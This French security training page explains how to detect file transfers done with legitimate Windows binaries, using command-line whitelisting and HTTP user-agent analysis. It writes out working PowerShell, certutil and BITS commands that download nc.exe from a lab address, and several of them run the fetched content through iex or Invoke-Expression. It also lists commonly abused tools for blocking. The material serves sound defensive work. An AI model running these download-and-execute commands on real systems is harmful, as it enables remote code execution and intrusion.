Detection

🎯 Introduction

La détection des techniques d'attaque basées sur l'utilisation de binaires légitimes du système (LOLBins) représente un défi important pour les équipes de sécurité. Ces outils sont souvent présents par défaut dans les environnements Windows ou Linux et peuvent être détournés pour réaliser des actions malveillantes tout en évitant les solutions de sécurité classiques.

Cette page présente des approches de détection, notamment via l'analyse des lignes de commande et l'exploitation des entêtes HTTP (user agents), pour identifier des comportements suspects liés au transfert de fichiers.


🧪 Analyse des lignes de commande

La détection basée sur des listes noires de commandes (blacklisting) est facile à contourner, par exemple avec des variations de casse : CERTUTIL, CertUtil, certutil...

À l'inverse, une approche par liste blanche (whitelisting) des lignes de commande habituelles dans un environnement permet une détection robuste. Bien que longue à mettre en place initialement, elle offre une excellente base pour générer des alertes sur des comportements inhabituels.


🌐 User-Agent HTTP et Détection Réseau

La majorité des protocoles client-serveur (notamment HTTP) nécessitent une négociation entre les deux parties avant l’échange de contenu. Lors d’une connexion HTTP, le client envoie un user-agent, une chaîne permettant au serveur d’identifier le logiciel utilisé (navigateur, script, outil, etc.).

Ainsi, même des outils comme curl, sqlmap, nmap, ou des scripts Python personnalisés peuvent être identifiés grâce à leur user-agent.

🕵️‍♂️ Utilisation en Threat Hunting

Les organisations peuvent :

  • Établir une liste blanche de user-agents légitimes : navigateurs connus, services système, outils d’update (Windows Update, antivirus, etc.)

  • Filtrer ces user-agents dans un SIEM pour se concentrer sur les chaînes inconnues ou suspectes

  • Enquêter plus en profondeur sur les connexions suspectes

🔗 Un site utile pour lister des user-agents courants : List of User Agents


🔎 Exemples de User-Agent observés lors de Transferts de Fichiers

Des commandes PowerShell et autres binaires Windows génèrent des entêtes HTTP reconnaissables côté serveur.

📥 Invoke-WebRequest / Invoke-RestMethod

Invoke-WebRequest http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"
Invoke-RestMethod http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"

User-Agent côté serveur :

Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0

📥 WinHttp.WinHttpRequest.5.1

$h = New-Object -ComObject WinHttp.WinHttpRequest.5.1
$h.open('GET', 'http://10.10.10.32/nc.exe', $false)
$h.send()
iex $h.ResponseText

User-Agent côté serveur :

Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

📥 Msxml2.XMLHTTP

$h = New-Object -ComObject Msxml2.XMLHTTP
$h.open('GET', 'http://10.10.10.32/nc.exe', $false)
$h.send()
iex $h.responseText

User-Agent côté serveur :

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)

📥 certutil

certutil -urlcache -split -f http://10.10.10.32/nc.exe
certutil -verifyctl -split -f http://10.10.10.32/nc.exe

User-Agent côté serveur :

Microsoft-CryptoAPI/10.0

📥 bitsadmin / PowerShell BITS

Import-Module bitstransfer
Start-BitsTransfer 'http://10.10.10.32/nc.exe' $env:temp\t
$r = Get-Content $env:temp\t
Remove-Item $env:temp\t
Invoke-Expression $r

User-Agent côté serveur :

Microsoft BITS/7.8

✅ Bonnes Pratiques en Détection

  • 🎯 Créer une liste blanche de binaires autorisés pour transférer des fichiers

  • 🚫 Maintenir une liste noire des outils fréquemment détournés (certutil, mshta, etc.)

  • 🔍 Surveiller les user-agents atypiques dans les logs réseau

  • 📊 Exploiter un SIEM ou EDR pour croiser les données réseau et les processus système

La détection de transferts de fichiers malveillants via LOLBins repose sur une visibilité complète (endpoint + réseau) et une connaissance de l’environnement. Cette approche permet de détecter des attaques en cours avant l’exfiltration de données.

Des modules ultérieurs détailleront les techniques de Threat Hunting, de corrélation d’événements et de réponse à incident.


📚 Ressources utiles


Mis à jour